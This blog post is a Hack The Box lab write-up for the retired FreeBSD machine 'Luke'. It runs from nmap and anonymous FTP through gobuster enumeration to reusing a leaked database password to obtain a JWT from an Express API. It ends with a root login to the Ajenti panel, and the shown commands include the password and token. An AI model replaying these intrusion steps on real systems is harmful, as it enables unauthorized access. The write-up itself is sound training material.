Skip to main content

Luke Writeup - Hack The Box (Retired)

Summary:

Luke, a FreeBSD box created by HackTheBox user H4d3s, was an overall simple medium-difficulty box. Rooting this host is mostly a matter of taking advantage of its sensitive information disclosure, its password reuse, and its over-zealous privileges that are available from the web host. This was the first box where I had rooted the box before getting user.


Finding a Foothold


Initial Enumeration:

root@kali:~/htb/# nmap -sV -sC -oA nmap/Luke 10.10.10.137

Starting Nmap 7.80 ( https://nmap.org ) at 2019-07-15 18:35 AKDT
Nmap scan report for 10.10.10.137
Host is up (0.12s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0             512 Apr 14 12:35 webapp
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.39
|      Logged in as ftp
|      TYPE: ASCII
|      No session upload bandwidth limit
|      No session download bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 8
|      vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp   open  ssh?
80/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open  http    Ajenti http control panel
|_http-title: Ajenti

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap indicates that the File Transfer Protocol (FTP) service is an open port and anonymous authentication is supported. We can authenticate and explore the service like so.

root@kali:~/htb/Luke# ftp 10.10.10.137
Connected to 10.10.10.137.
220 vsFTPd 3.0.3+ (ext.1) ready...
Name (10.10.10.137:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0             512 Apr 14 12:35 webapp
226 Directory send OK.
ftp> cd webapp
250 Directory successfully changed.
ftp> dir -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0             512 Apr 14 12:35 .
drwxr-xr-x    3 0        0             512 Apr 14 12:29 ..
-r-xr-xr-x    1 0        0             306 Apr 14 12:37 for_Chihiro.txt
226 Directory send OK.
ftp> get for_Chihiro.txt
local: for_Chihiro.txt remote: for_Chihiro.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for for_Chihiro.txt (306 bytes).
226 Transfer complete.
306 bytes received in 0.00 secs (2.2978 MB/s)
ftp> exit
221 Goodbye.

Reading the contents of the file:

root@kali:~/htb/Luke# cat for_Chihiro.txt
Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of 
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! 

Derry

The file indicates that there is source code stored somewhere on the web host. Exploring the site, we find the site's Fully Qualified Domain Name (FQDN) in the author's contact. We can add this to our hosts file so that luke.io will continue resolving for us:

Directory Busting/Fuzzing:

We can scan the host with gobuster and enumerate available directory listings:

root@kali:~/htb/Luke# gobuster dir -u http://luke.io/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,conf -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://luke.io/
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,php,txt,conf
[+] Timeout:        10s
===============================================================
2019/09/13 11:56:22 Starting gobuster
===============================================================
/login.php (Status: 200)
/member (Status: 301)
/management (Status: 401)
/css (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/vendor (Status: 301)
/config.php (Status: 200)
/LICENSE (Status: 200)
===============================================================
2019/09/13 12:06:47 Finished
===============================================================

After some quick enumeration with sqlmap on the login portal, it seems like SQL injection is not the intended path. There are, however, credentials for the mysql database server's root user on the site's config.php page:

Unfortunately, we cannot use these credentials at the login portal here either. We can, however, enumerate the other web services on the box for open directories:

root@kali:~/htb/Luke# gobuster dir -u http://luke.io:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://luke.io:3000
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,html,php
[+] Timeout:        10s
===============================================================
2019/09/13 12:19:54 Starting gobuster
===============================================================
/login (Status: 200)
/users (Status: 200)
/Login (Status: 200)
/Users (Status: 200)
...
===============================================================
2019/09/13 12:36:47 Finished
===============================================================

Custom Exploitation with JSON:

Curling the login page shows a json response asking for us to authenticate:

root@kali:~/htb/Luke# curl 10.10.10.137:3000/Login -v
*   Trying 10.10.10.137:3000...
* TCP_NODELAY set
* Connected to 10.10.10.137 (10.10.10.137) port 3000 (#0)
> GET /Login HTTP/1.1
> Host: 10.10.10.137:3000
> User-Agent: curl/7.65.3
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 13
< ETag: W/"d-PH4Bpb6SoaW0jE2UrQrH8JM2BiI"
< Date: Sat, 14 Sep 2019 07:25:13 GMT
< Connection: keep-alive
< 
* Connection #0 to host 10.10.10.137 left intact
"please auth"

Researching similar json applications that require certain parameters to be authenticated, yields a functioning template for our purposes:

curl -H "Content-Type: application/json" -X POST -d '{"username":"root","password":"Zk6heYCyv6ZE9Xcg"}' http:/luke.io:3000/Login

Our payload works with curl, but the username isn't valid. If we manually fuzz the username a little, the host returns a JSON Web Token (JWT):

According to this article, we can use curl and the JWT as a cookie to authenticate as admin and read some of the forbidden pages:

root@kali:~/htb/Luke# TOKEN=$(curl -s -H "Content-Type: application/json" -X POST -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' http://luke.io:3000/Login | jq -r '.token')
root@kali:~/htb/Luke# echo $TOKEN
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4NDQ3Njc1LCJleHAiOjE1Njg1MzQwNzV9.Y578qj9Y-wBdBYnI-fbra3zHVReIAIOrmPwyPDIs_ls
root@kali:~/htb/Luke# curl -H 'Accept: application/json' -H "Authorization: Bearer ${TOKEN}" http://luke.io:3000/Users
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]

We can also enumerate additional information about each user because the usernames are also valid sub-directories of the User directory:

We can try to use these credentials in some other areas. Although none of these credentials are valid for the login portal from earlier (nor are they valid ssh credentials), Derry's credentials are valid for the management page found earlier with gobuster on port 80:

Navigating to config.json, we find a password for the Ajenti Server Admin Panel on port 8000:

Acquiring root.txt and user.txt


Ajenti Admin Panel:

If we manually fuzz the credentials, we quickly realize we can authenticate with the username root and the password in the previous section. Once we sign in, we have access to the admin panel:

Off the bat, there are two quick ways to read root.txt (as well as user.txt). One option is using the file manager or notepad:

We can read these files because the Ajenti service is ran by the root user. We can also use the web terminal to get a (web) shell as root:


We pwned the root user!
Even though Luke was a medium-difficulty box, I found it much easier than most medium boxes. It did introduce me to JSON Web Tokens (JWT) and made me realize why most web services ask that you do not run the service as root or have dedicated low-privileged users (www-data, mysql, home users, etc). This is an excellent box for beginners.

Rayce Toms
Student Researcher

Comments

Popular posts from this blog

Bastion Writeup - Hack The Box (Retired)

Summary: Bastion was one of the first few easy boxes that initially introduced me to HackTheBox . Created by L4mpje , a security enthusiast and hobbyist hacker, this box covers realistic Windows environment misconfigurations like unauthenticated file-shares and vulnerable apps with insecure password storage. Finding a Foothold Initial Enumeration: root@kali : ~/htb/ # nmap -sV -sC -oA nmap/Bastion 10.10.10.134 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-05 13:31 AKDT Nmap scan report for 10.10.10.134 Host is up (0.50s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0) | ssh-hostkey: | 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA) | 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA) |_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn

Unattended Writeup - Hack The Box (Retired)

Summary: Unattended is a challenging CTF-Like machine created by Hack The Box user @guly . This Linux box is surprisingly more difficult than most medium level boxes and truly tests SQL injection knowledge by forcing users to not entirely rely on automated tools, but to think creatively so they can manually "incept" nested queries to achieve LFI. This ultimately leads to RCE and a shell after log poisoning. With additional enumeration and subtle sysadmin knowledge, we are able to escalate to the root user. Finding a Foothold Initial Enumeration: root@kali : ~/htb/ # nmap -sV -sC -oA nmap/Unattended 10.10.10.126 Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-22 19:45 AKDT Nmap scan report for www.nestedflanders.htb (10.10.10.126) Host is up (0.20s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 80/tcp open http nginx 1.10.3 |_http-server-header: nginx/1.10.3 |_http-title: Did not follow redirect to https://www.nestedflanders.ht